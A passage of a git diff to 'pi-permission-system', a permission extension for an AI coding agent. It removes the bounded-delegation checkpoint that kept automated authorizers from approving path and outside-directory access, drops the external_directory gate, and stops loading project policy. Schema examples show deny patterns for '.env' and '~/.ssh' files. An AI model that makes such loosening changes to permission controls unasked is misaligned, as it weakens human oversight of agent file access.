/ headless-deny fallback).\n\nA link reviews an `ask` and returns `allow` / `deny` (with an optional teaching reason) / `defer` to the next link. Three invariants govern the chain:\n\n- **Config order wins.** The order here — not the order extensions register in — fixes the security-relevant chain order.\n- **Fail-safe skip.** A name with no registered link is skipped with a warning; the `ask` still reaches the terminal (more prompting, never less).\n- **Opt-in activation.** Installing a judge extension grants it no authority; a link decides nothing until you name it here.\n\nThe chain owner caps every verdict with a bounded-delegation checkpoint: a link's `allow` on an excluded surface (`external_directory` or `path`) is downgraded to `defer`, so a link cannot exceed your policy.\n\nDefaults to an empty list (no links).", + "markdownDescription": "Ordered names of registered **live-authority chain links** (for example AutoReview) to consult before the terminal human authorizer. A named link may approve or deny any ordinary-policy `ask`, including `path`; `defer` advances to the next link or the human terminal. Defaults to an empty list.", "default": [], "type": "array", "items": { @@ -117,7 +107,7 @@ ] }, "description": "Flat permission policy. Each key is a surface name; values are a PermissionState string (catch-all) or a pattern→action map.", - "markdownDescription": "Flat permission policy.\n\nEach top-level key is a surface name:\n- `\"*\"` — universal fallback (replaces `defaultPolicy.tools` from the legacy format)\n- Tool names (`read`, `write`, `bash`, `mcp`, `skill`, `external_directory`, `path`, etc.)\n\nA **string** value is shorthand for `{ \"*\": action }` (surface-level catch-all).\nAn **object** value maps wildcard patterns to actions — last matching pattern wins.\n\nFor built-in file tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), patterns are matched against the file path from `input.path`. For example, `\"read\": { \"*\": \"allow\", \"*.env\": \"deny\" }` allows reads but denies `.env` files.\n\nWhen Pi's current working directory is known, relative path inputs also match their cwd-normalized absolute form, so `src/App.jsx` can match both `src/*` and `/workspace/project/*`. Bash path tokens use the effective directory after literal `cd` commands for this matching; non-literal `cd \"$DIR\"` style commands remain conservative.\n\nThe `path` surface is a cross-cutting gate that applies to **all** file access: Pi tools, bash commands, MCP calls (via `input.arguments.path`), and extension tools (via `input.path` or a registered access extractor). A `path` deny cannot be overridden by a per-tool allow. Use it to protect sensitive files (`.env`, `~/.ssh/*`) from all path-aware tools at once.\n\nThe `external_directory` surface gates access **outside** the working directory. Give it a pattern map to allow specific outside-CWD directories without opening all external access — e.g. `\"external_directory\": { \"*\": \"ask\", \"~/.cargo/registry/*\": \"allow\" }` to silence repeated prompts on a local cache. The trailing `*` is greedy and crosses subdirectory boundaries; a bare `~/.cargo/registry` matches only the directory entry itself. Because layers compose with most-restrictive-wins, a `path` allow cannot loosen an `external_directory: ask` boundary — allow outside-CWD directories here, not on `path`.\n\n**Merge order (lowest → highest precedence):** global → project → per-agent frontmatter.", + "markdownDescription": "Flat permission policy.\n\nEach top-level key is a surface name:\n- `\"*\"` — universal fallback\n- Tool names (`read`, `write`, `bash`, `mcp`, `skill`, `path`, etc.)\n\nA string value is shorthand for `{ \"*\": action }`. An object maps wildcard patterns to actions, and the most specific matching pattern wins.\n\nFor built-in file tools, patterns match `input.path`. The cross-cutting `path` surface checks path-bearing tools and bash path tokens.\n\n**Merge order (lowest → highest precedence):** global → per-agent frontmatter → project-agent frontmatter.", "examples": [ { "*": "ask", @@ -144,10 +134,6 @@ "skill": { "*": "ask", "librarian": "allow" - }, - "external_directory": { - "*": "ask", - "~/.cargo/registry/*": "allow" } } ] @@ -271,7 +257,7 @@ "additionalProperties": false, "title": "PI Permission System Configuration", "description": "Ordinary JSONC policy combining runtime knobs, AutoReview settings, and flat permission rules for pi-permission-system.", - "markdownDescription": "Ordinary JSONC policy for [pi-permission-system](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-system).\n\nPlace at `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` (global) or `/.pi/extensions/pi-permission-system/policy.jsonc` (project). Global-only hard guards use the separate `hard-guards.jsonc` schema.", + "markdownDescription": "Global ordinary JSONC policy for [pi-permission-system](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-system).\n\nPlace at `~/.pi/agent/extensions/pi-permission-system/policy.jsonc`. Project-level policy files are not loaded. Global-only hard guards use the separate `hard-guards.jsonc` schema.", "$defs": { "permissionState": { "anyOf": [ @@ -310,8 +296,8 @@ } ] }, - "description": "A map of wildcard patterns to permission states. Last matching pattern wins.", - "markdownDescription": "A map of wildcard patterns to permission states.\n\nUse `*` for wildcard matching. When multiple patterns match, the **last matching rule wins** — put broad catch-alls first and specific overrides after them.\n\nPattern keys support home directory expansion:\n- `~/path` or `$HOME/path` — expanded to the OS home directory at match time.\n- `~` or `$HOME` alone — expands to the home directory itself.\n\nThe stored pattern is always shown in logs and approval dialogs as written (e.g. `~/dev/*`)." + "description": "A map of wildcard patterns to permission states. The most specific matching pattern wins.", + "markdownDescription": "A map of wildcard patterns to permission states.\n\nUse `*` for wildcard matching. When several patterns match, the most specific pattern wins: exact patterns first, then more literal characters, fewer wildcards, and longer patterns. Declaration order is only the final tie-breaker, where the later rule wins.\n\nPattern keys support home directory expansion: `~/path` and `$HOME/path` expand at match time. The stored pattern is shown in logs and approval dialogs as written." }, "denyWithReason": { "type": "object", diff --git a/pi-permission-system/src/access-intent/access-intent.ts b/pi-permission-system/src/access-intent/access-intent.ts index dbf03fc..e31da46 100644 --- a/pi-permission-system/src/access-intent/access-intent.ts +++ b/pi-permission-system/src/access-intent/access-intent.ts @@ -27,7 +27,7 @@ export interface ToolAccessIntent { */ export interface PathValuesAccessIntent { kind: "path-values"; - /** `"path"` or `"external_directory"`. */ + /** Permission surface associated with these path match values. */ surface: string; values: readonly string[]; agentName?: string; @@ -36,9 +36,9 @@ export interface PathValuesAccessIntent { /** * An `AccessPath` value object for a path-shaped surface. * - * Built for every path-shaped surface: the cross-cutting `path` and - * `external_directory` gates, the per-tool path-bearing surfaces - * (`read`/`write`/`edit`/`grep`/`find`/`ls`, #502), and the service/RPC policy + * Built for every path-shaped surface: the cross-cutting `path` gate, the + * per-tool path-bearing surfaces (`read`/`write`/`edit`/`grep`/`find`/`ls`, + * #502), and the service/RPC policy * queries for those surfaces (#503). Lets `AccessPath` flow into the resolver * as a first-class variant so the resolver — not the producer — asks it for * `matchValues()` (Tell-Don't-Ask). diff --git a/pi-permission-system/src/access-intent/access-path.ts b/pi-permission-system/src/access-intent/access-path.ts index 17d1c09..17f240d 100644 --- a/pi-permission-system/src/access-intent/access-path.ts +++ b/pi-permission-system/src/access-intent/access-path.ts @@ -9,16 +9,12 @@ import { /** * A path's two representations held behind type-distinct accessors. * - * A single `string` carrying both meanings was the root cause of [#418]: - * both external-directory gates matched config patterns against the - * symlink-resolved (canonical) path instead of the typed (lexical) path, - * defeating a configured `/tmp/*` allow. + * The object keeps the typed (lexical) path and its symlink-resolved + * (canonical) alias separate so matching and display do not accidentally use + * the wrong representation. * - * `AccessPath` makes the misuse a compile error: - * - {@link matchValues} returns `string[]` — the lexical alias union ∪ canonical, - * for `external_directory` pattern matching. - * - {@link boundaryValue} returns `string` — the canonical form, for - * outside-CWD containment and infra-read checks. + * - {@link matchValues} returns the lexical aliases plus the canonical alias. + * - {@link boundaryValue} returns the canonical form for forwarding metadata. * - {@link value} returns `string` — the lexical absolute form, for display, * approval patterns, decision values, and logs. * - {@link resolvedAlias} returns `string | undefined` — the canonical form @@ -37,10 +33,9 @@ export class AccessPath { ) {} /** - * Pattern-match values for the `external_directory` surface: the lexical - * alias union plus the canonical alias, so a config pattern on either the - * typed form (`/tmp/*`) or the symlink-resolved form (`/private/tmp/*`) - * matches (#418). + * Pattern-match values for path policy: the lexical alias union plus the + * canonical alias, so a pattern on either the typed form (`/tmp/*`) or the + * symlink-resolved form (`/private/tmp/*`) matches. * * Collapses to the lexical aliases when the canonical equals one of them * (e.g. when the path is not a symlink). @@ -136,9 +131,8 @@ export class AccessPath { * preserved verbatim across all three representations — `value()`, * `boundaryValue()`, and `matchValues()` are the device path itself, never * `win32.resolve`-mangled into `c:\dev\null`. The identical lexical and - * canonical forms let the boundary check reach `isSafeSystemPath` (so the - * device never triggers `external_directory`) while a config rule still - * matches the path as typed. + * canonical forms remain identical so policy matches the device path exactly + * as typed. */ static forDevice(devicePath: string): AccessPath { return new AccessPath(devicePath, [devicePath], devicePath); diff --git a/pi-permission-system/src/access-intent/bash/bash-path-resolver.ts b/pi-permission-system/src/access-intent/bash/bash-path-resolver.ts index 853ab01..cb1cc21 100644 --- a/pi-permission-system/src/access-intent/bash/bash-path-resolver.ts +++ b/pi-permission-system/src/access-intent/bash/bash-path-resolver.ts @@ -6,7 +6,6 @@ import { import type { TSNode } from "#src/access-intent/bash/parser"; import { classifyBareTokenCandidate, - classifyTokenAsPathCandidate, classifyTokenAsRuleCandidate, } from "#src/access-intent/bash/token-classification"; import { @@ -17,7 +16,6 @@ import { } from "#src/access-intent/bash/token-collection"; import { normalizePathPolicyLiteral } from "#src/access-intent/path-normalization"; import type { PathNormalizer } from "#src/path-normalizer"; -import { isSafeSystemPath } from "#src/safe-system-paths"; // ── Internal types ─────────────────────────────────────────────────────────── @@ -53,14 +51,8 @@ export interface BashPathRuleCandidate { readonly path: AccessPath; } -/** - * The filesystem paths a bash program references, resolved against the working - * directory and platform — the two typed slices {@link BashProgram} exposes. - */ +/** Cd-aware path-rule candidates extracted from a bash program. */ export interface ResolvedBashPaths { - /** Deduplicated paths resolving outside the working directory (#418). */ - readonly externalPaths: readonly AccessPath[]; - /** Every path-rule token paired with its cd-aware policy values (#393). */ readonly ruleCandidates: readonly BashPathRuleCandidate[]; } @@ -99,15 +91,9 @@ export class BashPathResolver { ) {} /** - * Resolve a parsed bash program's path references into its external-path and - * rule-candidate slices, walking the AST exactly once. - * - * When a `workdir` is set (an aliased shell tool's working directory, #574), - * it seeds the initial effective base — as if the program were prefixed with - * `cd ` — so relative tokens resolve against it, and the `workdir` - * itself is added to the external paths when it resolves outside the cwd. - * Containment is always measured against the session cwd baked into the - * normalizer, so a `workdir` outside the cwd does not widen the sandbox. + * Resolve a parsed bash program's path references into cd-aware policy + * candidates while walking the AST exactly once. An aliased shell tool's + * `workdir` seeds the initial effective base for relative tokens. */ resolve(rootNode: TSNode): ResolvedBashPaths { const initialBase = @@ -116,36 +102,10 @@ export class BashPathResolver { : this.deriveBaseFromCdTarget(CWD_BASE, this.workdir); const candidates = this.collectPathCandidates(rootNode, initialBase); return { - externalPaths: this.withWorkdirExternal( - this.projectExternalPaths(candidates), - ), ruleCandidates: this.projectRuleCandidates(candidates), }; } - /** - * Prepend the `workdir`'s own {@link AccessPath} to the external paths when it - * resolves outside the cwd. A real `cd /etc` flags `/etc` via its argument - * token; the seeded base carries no such token, so it is added explicitly and - * deduplicated against the command's own external tokens (#574). - */ - private withWorkdirExternal( - tokenExternals: readonly AccessPath[], - ): AccessPath[] { - if (this.workdir === undefined) return [...tokenExternals]; - const wdPath = this.normalizer.forBashToken(this.workdir); - const canonical = wdPath.boundaryValue(); - const isExternal = canonical - ? this.normalizer.isBoundaryOutsideWorkingDirectory(canonical) - : true; - if (!isExternal) return [...tokenExternals]; - const key = canonical || wdPath.value(); - const alreadyPresent = tokenExternals.some( - (p) => (p.boundaryValue() || p.value()) === key, - ); - return alreadyPresent ? [...tokenExternals] : [wdPath, ...tokenExternals]; - } - // ── AST walk — collect PathCandidates ────────────────────────────────── /** @@ -401,112 +361,8 @@ export class BashPathResolver { // ── Projection ───────────────────────────────────────────────────────── /** - * Project the collected candidates into deduplicated external paths. - * - * Filters candidates through the strict path classifier - * (`classifyTokenAsPathCandidate`), resolves each against its effective working - * directory base, and returns only paths that resolve outside the baked cwd in - * their lexical (as-typed, normalized but not symlink-resolved) form. - * - * The outside-cwd decision and the dedup identity use the canonical - * (symlink-resolved) form so `external_directory` config patterns match the - * path as the user typed it (#418). - */ - private projectExternalPaths( - candidates: readonly PathCandidate[], - ): AccessPath[] { - const seen = new Set(); - const externalPaths: AccessPath[] = []; - - for (const { token, base } of candidates) { - const candidate = classifyTokenAsPathCandidate(token); - if (!candidate) { - // A bare token the strict shape gate rejects can still escape the tree - // through a symlink, so probe it and apply the ordinary boundary - // decision to whatever it resolves to (#645). - const probed = this.probeBareToken(token, base); - if (probed) this.collectIfExternal(probed.path, seen, externalPaths); - continue; - } - - // Unknown effective directory: a relative candidate could resolve - // anywhere, so flag it conservatively (resolved against the baked cwd - // only for a display path). Absolute / `~` candidates are base-independent - // below. - if (base.kind === "unknown" && this.isRelativeCandidate(candidate)) { - const accessPath = this.normalizer.forPath(candidate); - const canonical = accessPath.boundaryValue(); - if (canonical && !isSafeSystemPath(canonical) && !seen.has(canonical)) { - seen.add(canonical); - externalPaths.push(accessPath); - } - continue; - } - - const resolveBase = - base.kind === "known" - ? this.normalizer.resolveBase(base.offset) - : undefined; - this.collectIfExternal( - this.normalizer.forBashToken(candidate, { resolveBase }), - seen, - externalPaths, - ); - } - - return externalPaths; - } - - /** - * Record `accessPath` when it resolves outside the working directory and has - * not already been collected. - * - * The boundary decision and dedup identity use the canonical - * (symlink-resolved) form the {@link AccessPath} already derived, while the - * stored value keeps the lexical form so config patterns match the path as - * the user typed it (#418). A win32 device path preserves `/dev/null` as its - * boundary value, so `isBoundaryOutsideWorkingDirectory` reaches the - * safe-path exclusion (#533). - * - * A literal-only bash token (a win32 non-mount POSIX absolute like `/tmp`) - * has no canonical form; it is foreign to the win32 cwd, so it is always - * external. Its lexical value is the dedup identity so two distinct - * literal-only paths do not collapse (#533). - */ - private collectIfExternal( - accessPath: AccessPath, - seen: Set, - out: AccessPath[], - ): void { - const lexical = accessPath.value(); - if (!lexical) return; - const canonical = accessPath.boundaryValue(); - const isExternal = canonical - ? this.normalizer.isBoundaryOutsideWorkingDirectory(canonical) - : true; - const dedupKey = canonical || lexical; - if (isExternal && !seen.has(dedupKey)) { - seen.add(dedupKey); - out.push(accessPath); - } - } - - /** - * Project the collected candidates into rule candidates with their cd-aware - * policy lookup values. - * - * Filters candidates through the broad path classifier - * (`classifyTokenAsRuleCandidate`), falling back to {@link probeBareToken} - * for a bare token the broad classifier rejects for shape — admitted only - * when it names an existing filesystem entry (#645). - * On win32 the broad classifier is told to treat a backslash as a path - * separator, so a backslash-relative token (`dir\file`) is recognized as a - * rule candidate the same as its forward-slash equivalent (#520); on POSIX - * `\` is a legal filename character, so the token stays bare there. - * Pairs each qualifying token with its set of policy values (absolute + - * project-relative + raw). - * A token after a non-literal `cd` keeps only its literal value so no - * spurious absolute rule can match (#393). + * Project candidates into policy lookup values while preserving literal + * values after a non-literal `cd`, where no reliable absolute base exists. */ private projectRuleCandidates( candidates: readonly PathCandidate[], diff --git a/pi-permission-system/src/access-intent/bash/program.ts b/pi-permission-system/src/access-intent/bash/program.ts index 1204768..87f19d5 100644 --- a/pi-permission-system/src/access-intent/bash/program.ts +++ b/pi-permission-system/src/access-intent/bash/program.ts @@ -1,4 +1,3 @@ -import type { AccessPath } from "#src/access-intent/access-path"; import { BashPathResolver, type BashPathRuleCandidate, @@ -26,7 +25,6 @@ export class BashProgram { private constructor( private readonly sourceCommand: string, private readonly commandUnits: readonly BashCommand[], - private readonly resolvedExternalPaths: readonly AccessPath[], private readonly resolvedRuleCandidates: readonly BashPathRuleCandidate[], ) {} @@ -44,10 +42,8 @@ export class BashProgram { * (ADR 0009, #645). No policy is consulted, so every caller gets identical * slices for a given command and working directory. * - * `options.workdir`, when supplied (an aliased shell tool's working directory, - * #574), seeds the initial effective base — as if the command were prefixed - * with `cd ` — so relative tokens resolve against it, and the workdir - * itself is flagged as external when it resolves outside the cwd. + * `options.workdir`, when supplied for an aliased shell tool, seeds the + * initial effective base so relative path-rule tokens resolve against it. */ static async parse( command: string, @@ -56,17 +52,16 @@ export class BashProgram { ): Promise { const parser = await getParser(); const tree = parser.parse(command); - if (!tree) return new BashProgram(command, [], [], []); + if (!tree) return new BashProgram(command, [], []); try { - const { externalPaths, ruleCandidates } = new BashPathResolver( + const { ruleCandidates } = new BashPathResolver( normalizer, options?.workdir, ).resolve(tree.rootNode); return new BashProgram( command, collectCommands(tree.rootNode), - externalPaths, ruleCandidates, ); } finally { @@ -103,20 +98,6 @@ export class BashProgram { return [...this.commandUnits]; } - /** - * Deduplicated paths that resolve outside `cwd`, as {@link AccessPath} value - * objects holding both the lexical (as-typed) and canonical (symlink-resolved) - * forms behind distinct accessors. - * - * Resolved eagerly at parse time through the `PathNormalizer` supplied to - * `parse()` (platform + cwd baked in). - * Use `.matchValues()` for `external_directory` pattern matching and - * `.boundaryValue()` for containment checks; `.value()` for display and logs. - */ - externalPaths(): AccessPath[] { - return [...this.resolvedExternalPaths]; - } - /** * Path-rule candidates paired with their policy lookup values. * diff --git a/pi-permission-system/src/access-intent/input-normalizer.ts b/pi-permission-system/src/access-intent/input-normalizer.ts index e0542c2..433ed0a 100644 --- a/pi-permission-system/src/access-intent/input-normalizer.ts +++ b/pi-permission-system/src/access-intent/input-normalizer.ts @@ -11,7 +11,7 @@ import { classifyToolKind } from "./tool-kind"; * service and the event-bus RPC) feeds to the resolver from a `(surface, value)` * pair. * - * For a path-shaped surface (`path`, `external_directory`, or a path-bearing + * For a path-shaped surface (`path` or a path-bearing * tool) carrying a non-empty value, it builds an `AccessPath` and emits an * `access-path` intent, so the resolver matches the lexical aliases ∪ canonical * (symlink-resolved) set — at parity with the gates (#486, #502). Every other @@ -95,7 +95,6 @@ function buildInputForSurface( const v = value ?? ""; if (surface === "bash") return { command: v }; if (surface === "skill") return { name: v }; - if (surface === "external_directory") return { path: v }; // MCP and tool surfaces: normalizeInput handles them from the surface alone. return {}; } @@ -125,7 +124,7 @@ export interface NormalizedInput { * `checkPermission()`. * * Handles bash, skill, mcp, and extension surfaces. Path-bearing tool surfaces - * (`path`, `external_directory`, `read`, `write`, `edit`, `grep`, `find`, + * (`path`, `read`, `write`, `edit`, `grep`, `find`, * `ls`) now route through the access-path gate (#502) and service/RPC builder * (#503) before reaching the manager, so they never arrive here with a real * path value — all fall through to the extension catch-all `["*"]`. diff --git a/pi-permission-system/src/access-intent/path-surfaces.ts b/pi-permission-system/src/access-intent/path-surfaces.ts index 35c5c93..0079ada 100644 --- a/pi-permission-system/src/access-intent/path-surfaces.ts +++ b/pi-permission-system/src/access-intent/path-surfaces.ts @@ -1,14 +1,4 @@ -/** - * File tools that only read — never write — the filesystem. - * Only these tools are eligible for the Pi infrastructure auto-allow. - */ -export const READ_ONLY_PATH_BEARING_TOOLS: ReadonlySet = new Set([ - "read", - "find", - "grep", - "ls", -]); - +/** File tools whose primary input carries a local filesystem path. */ export const PATH_BEARING_TOOLS = new Set([ "read", "write", @@ -18,13 +8,8 @@ export const PATH_BEARING_TOOLS = new Set([ "ls", ]); -/** - * Surfaces whose patterns are matched against filesystem paths and therefore - * fold case (and separators) on Windows: the path-bearing tools plus the - * cross-cutting `path` gate and the `external_directory` boundary gate. - */ +/** Surfaces whose patterns use filesystem path matching semantics. */ export const PATH_SURFACES: ReadonlySet = new Set([ ...PATH_BEARING_TOOLS, - "external_directory", "path", ]); diff --git a/pi-permission-system/src/access-intent/tool-input-path.ts b/pi-permission-system/src/access-intent/tool-input-path.ts index 5b32852..8df3ff3 100644 --- a/pi-permission-system/src/access-intent/tool-input-path.ts +++ b/pi-permission-system/src/access-intent/tool-input-path.ts @@ -14,8 +14,8 @@ export function getPathBearingToolPath( } /** - * Extract the filesystem path a tool will access, for the cross-cutting `path` - * and `external_directory` gates. + * Extract the filesystem path a tool will access for the cross-cutting `path` + * gate. * * Unlike {@link getPathBearingToolPath} (built-in tools only), this recognizes * extension and MCP tools so they are no longer exempt from path gating: diff --git a/pi-permission-system/src/access-intent/tool-kind.ts b/pi-permission-system/src/access-intent/tool-kind.ts index bae524f..5939bce 100644 --- a/pi-permission-system/src/access-intent/tool-kind.ts +++ b/pi-permission-system/src/access-intent/tool-kind.ts @@ -26,8 +26,8 @@ import { PATH_BEARING_TOOLS } from "./path-surfaces"; * - `skill` — a distinct surface `normalizeInput`/`deriveSource` treat specially. * - `path` — a path-bearing built-in (`read`/`write`/`edit`/`grep`/`find`/`ls`); * extraction product is `input.path`. - * - `extension` — every other tool, plus the `external_directory`/`path` special - * surfaces that reach `deriveSource` as normalized names. + * - `extension` — every other tool, plus the `path` special surface that + * reaches `deriveSource` as a normalized name. */ export type ToolKind = "bash" | "mcp" | "skill" | "path" | "extension"; diff --git a/pi-permission-system/src/authority/authorizer-selection.ts b/pi-permission-system/src/authority/authorizer-selection.ts index 6d9b128..d620041 100644 --- a/pi-permission-system/src/authority/authorizer-selection.ts +++ b/pi-permission-system/src/authority/authorizer-selection.ts @@ -9,7 +9,6 @@ import { } from "./authorizer"; import { composeAuthorizerChain } from "./authorizer-chain"; import type { AuthorizerLookup } from "./authorizer-registry"; -import { encloseInDelegationEnvelope } from "./delegation-envelope"; import type { PermissionPrompterApi, PromptPermissionDetails, @@ -112,8 +111,8 @@ export class AuthorizerSelection * Resolve the operator's `authorizerChain` names to registered links, in * config order (ADR 0007 invariant 1). An unregistered name is skipped with a * warning (invariant 2 — more prompting, never less); each resolved link is - * wrapped in the bounded-delegation envelope so an `allow` on an excluded - * surface cannot exceed the operator's policy. + * Authorizer verdicts are used directly. A configured authorizer may approve + * any ordinary-policy `ask`, including the `path` surface. * * The resolved names are recorded against the ask before any link runs — a * link that defers decides nothing and would otherwise leave no evidence it @@ -136,7 +135,7 @@ export class AuthorizerSelection continue; } resolved.push(name); - links.push({ name, authorize: encloseInDelegationEnvelope(authorize) }); + links.push({ name, authorize }); } if (resolved.length > 0) { this.deps.logger.review("authorizer_chain_resolved", { diff --git a/pi-permission-system/src/authority/delegation-envelope.ts b/pi-permission-system/src/authority/delegation-envelope.ts deleted file mode 100644 index 6bce3f8..0000000 --- a/pi-permission-system/src/authority/delegation-envelope.ts +++ /dev/null @@ -1,64 +0,0 @@ -/** - * The bounded-delegation enforcement checkpoint (ADR 0007 §5). - * - * The chain owner caps every registered link's verdict so a buggy or over-eager - * external judge can never exceed the operator's policy: a link's `allow` on an - * excluded surface is downgraded to `defer`, letting the `ask` fall through to - * the terminal (a prompt) instead. The checkpoint only ever *tightens* a - * verdict — it never turns a `defer`/`deny` into an `allow`. - * - * The excluded set is the whole `path` surface plus `external_directory`, with - * one bundle-maintained exception: built-in read-only path tools may accept a - * link's `allow` for an external-directory ask. Mutating tools, bash, extension - * tools, and unknown tools remain capped to the terminal human authority. A - * finer secret-shaped-`path` exclusion remains deferred; `path` stays fully - * excluded. - */ - -import { READ_ONLY_PATH_BEARING_TOOLS } from "#src/access-intent/path-surfaces"; -import type { Authorizer } from "./authorizer"; -import type { PromptPermissionDetails } from "./permission-prompter"; - -/** Surfaces on which a link may never grant an `allow` (ADR 0007 §5). */ -export const DELEGATION_EXCLUDED_SURFACES: ReadonlySet = new Set([ - "external_directory", - "path", -]); - -/** - * Wrap a link's `authorize` so an `allow` on an excluded surface is capped to - * `defer`. All other verdicts, and `allow`s on non-excluded surfaces, pass - * through unchanged. `details`, the injected `query`, and the review-log `log` - * are forwarded as-is. - */ -export function encloseInDelegationEnvelope( - authorize: Authorizer["authorize"], -): Authorizer["authorize"] { - return async (details, query, log) => { - const verdict = await authorize(details, query, log); - if (verdict.kind === "allow" && isExcludedSurface(details)) { - return { kind: "defer" }; - } - return verdict; - }; -} - -/** - * Whether an allow verdict exceeds the delegation envelope. The gate-computed - * surface is authoritative. `path` remains fully excluded; external-directory - * access is excluded unless it comes from a built-in read-only path tool. - * Unknown surfaces fail safe to the terminal authority. - */ -function isExcludedSurface(details: PromptPermissionDetails): boolean { - const surface = details.accessIntent?.surface ?? details.surface ?? undefined; - if (surface === undefined) { - return true; - } - if (surface === "external_directory") { - return !( - details.toolName !== undefined && - READ_ONLY_PATH_BEARING_TOOLS.has(details.toolName) - ); - } - return DELEGATION_EXCLUDED_SURFACES.has(surface); -} diff --git a/pi-permission-system/src/authority/forwarded-request-server.ts b/pi-permission-system/src/authority/forwarded-request-server.ts index 0824098..038849f 100644 --- a/pi-permission-system/src/authority/forwarded-request-server.ts +++ b/pi-permission-system/src/authority/forwarded-request-server.ts @@ -89,9 +89,8 @@ export interface ForwardedRequestServerDeps { * judges a forwarded ask on the same evidence as a local one (ADR 0008; #635). * * The display `surface` and the fact `surface` are distinct and both belong - * here: the former is the child's tool name (what the UI shows), the latter the - * gate surface the rule fired on (what the bounded-delegation checkpoint - * excludes on). + * here: the former is the child's tool name (what the UI shows), while the + * latter preserves the gate surface as authorizer evidence. */ function buildForwardedAskDetails( request: ForwardedPermissionRequest, @@ -113,9 +112,8 @@ function buildForwardedAskDetails( ...(request.sessionApproval ? { sessionApproval: request.sessionApproval } : {}), - // Absent for a version-skew request that carried no intent — which the - // delegation envelope reads as "surface undetermined" and fail-safes to - // excluded, so absence must stay absence rather than become `undefined`. + // Absent for a version-skew request that carried no access intent; preserve + // that absence rather than manufacturing authorizer evidence. ...(request.accessIntent ? { accessIntent: toAccessFacts(request.accessIntent) } : {}), diff --git a/pi-permission-system/src/authority/permission-forwarding.ts b/pi-permission-system/src/authority/permission-forwarding.ts index 577cf8a..cc6f658 100644 --- a/pi-permission-system/src/authority/permission-forwarding.ts +++ b/pi-permission-system/src/authority/permission-forwarding.ts @@ -88,7 +88,7 @@ export interface ForwardedSessionApproval { * (`docs/decisions/0002-path-values-string-boundary.md`). */ export interface ForwardedAccessFacts { - /** Gate surface: `"path"`, `"external_directory"`, `"bash"`, a tool name, or a skill name. */ + /** Gate surface: `"path"`, `"bash"`, a tool name, or a skill name. */ surface: string; /** * The child-fixed match set. Path surface: `AccessPath.matchValues()` diff --git a/pi-permission-system/src/config-loader.ts b/pi-permission-system/src/config-loader.ts index cc2a5aa..10e0da1 100644 --- a/pi-permission-system/src/config-loader.ts +++ b/pi-permission-system/src/config-loader.ts @@ -5,8 +5,6 @@ import { getGlobalConfigPath, getLegacyExtensionConfigPath, getLegacyGlobalPolicyPath, - getLegacyProjectPolicyPath, - getProjectConfigPath, } from "./config-paths"; import { type ShellToolsConfig, @@ -194,8 +192,6 @@ function formatConfigIssues(error: ZodError): string[] { * - `permission` is deep-shallow merged (surface-level object maps are shallow-merged). * - Scalar fields (debugLog, permissionReviewLog, yoloMode) are replaced when * present in the override. - * - Array fields (piInfrastructureReadPaths) replace the base when present in - * the override (override-wins, same as scalars). */ // Scalar knobs merged by override-replaces-base; keep in sync with // PermissionSystemExtensionConfig booleans (debugLog, permissionReviewLog, @@ -235,11 +231,9 @@ export function mergeUnifiedConfigs( } // Array fields: override replaces base when defined - for (const key of ["piInfrastructureReadPaths", "authorizerChain"] as const) { - const value = override[key] ?? base[key]; - if (value !== undefined) { - merged[key] = value; - } + const authorizerChain = override.authorizerChain ?? base.authorizerChain; + if (authorizerChain !== undefined) { + merged.authorizerChain = authorizerChain; } // shellTools: merge by tool name, then by descriptor field. A project can @@ -286,51 +280,25 @@ export function mergeUnifiedConfigs( export interface MergedConfigResult { global: UnifiedPermissionConfig; - project: UnifiedPermissionConfig; merged: UnifiedPermissionConfig; issues: string[]; } /** - * Load global and project configs from the new layout, detect legacy files, - * merge everything, and collect issues. - * - * Merge order: - * 1. Legacy global policy (if present) — lowest precedence - * 2. Legacy extension runtime config (if present and path differs from new global) - * 3. New global config - * 4. Legacy project policy (if present) - * 5. New project config — highest precedence - * - * Legacy files are detected and warned about. Their content is parsed with the - * flat-format parser — legacy-format keys (defaultPolicy, tools, bash, etc.) - * are not translated and contribute no permission rules. - * - * When `options.includeProjectScope` is `false`, the project-scope steps (4 and - * 5) are skipped entirely — neither the legacy project policy nor the new - * project config is read or merged. This gates project-local config on project - * trust: an untrusted repository cannot loosen the operator's global policy - * (#644). It defaults to `true`, preserving the trusted / caller-agnostic path. + * Load the user-global config, detect legacy global files, and collect issues. + * Project-level `policy.jsonc` files are intentionally not loaded. */ export function loadAndMergeConfigs( agentDir: string, - cwd: string, + _cwd: string, extensionRoot: string, - options: { includeProjectScope?: boolean } = {}, ): MergedConfigResult { - const includeProjectScope = options.includeProjectScope !== false; const allIssues: string[] = []; - const newGlobalPath = getGlobalConfigPath(agentDir); - const newProjectPath = getProjectConfigPath(cwd); const legacyGlobalPolicyPath = getLegacyGlobalPolicyPath(agentDir); - const legacyProjectPolicyPath = getLegacyProjectPolicyPath(cwd); const legacyExtConfigPath = getLegacyExtensionConfigPath(extensionRoot); - - // Start with empty let merged: UnifiedPermissionConfig = {}; - // 1. Legacy global policy if (existsSync(legacyGlobalPolicyPath)) { const legacy = loadUnifiedConfig(legacyGlobalPolicyPath); allIssues.push( @@ -338,55 +306,27 @@ export function loadAndMergeConfigs( `Move it to '${newGlobalPath}':\n` + ` mv '${legacyGlobalPolicyPath}' '${newGlobalPath}'`, ); - // Legacy files are migrated away; the move-it guidance above is the - // actionable signal, so strict-validation issues for them are suppressed. merged = mergeUnifiedConfigs(merged, legacy.config); } - // 2. Legacy extension runtime config (only if different from new global path) - const normalizedLegacyExt = normalize(legacyExtConfigPath); - const normalizedNewGlobal = normalize(newGlobalPath); if ( - normalizedLegacyExt !== normalizedNewGlobal && + normalize(legacyExtConfigPath) !== normalize(newGlobalPath) && existsSync(legacyExtConfigPath) ) { const legacy = loadUnifiedConfig(legacyExtConfigPath); allIssues.push( `Legacy extension config found at '${legacyExtConfigPath}'. ` + - `Move runtime settings to '${newGlobalPath}':\n` + + `Move it to '${newGlobalPath}':\n` + ` mv '${legacyExtConfigPath}' '${newGlobalPath}'`, ); - // See above: legacy-file validation issues are suppressed. merged = mergeUnifiedConfigs(merged, legacy.config); } - // 3. New global config const globalResult = loadUnifiedConfig(newGlobalPath); allIssues.push(...globalResult.issues); const globalConfig = globalResult.config; merged = mergeUnifiedConfigs(merged, globalConfig); - // 4. Legacy project policy — skipped when the project scope is withheld. - if (includeProjectScope && existsSync(legacyProjectPolicyPath)) { - const legacy = loadUnifiedConfig(legacyProjectPolicyPath); - 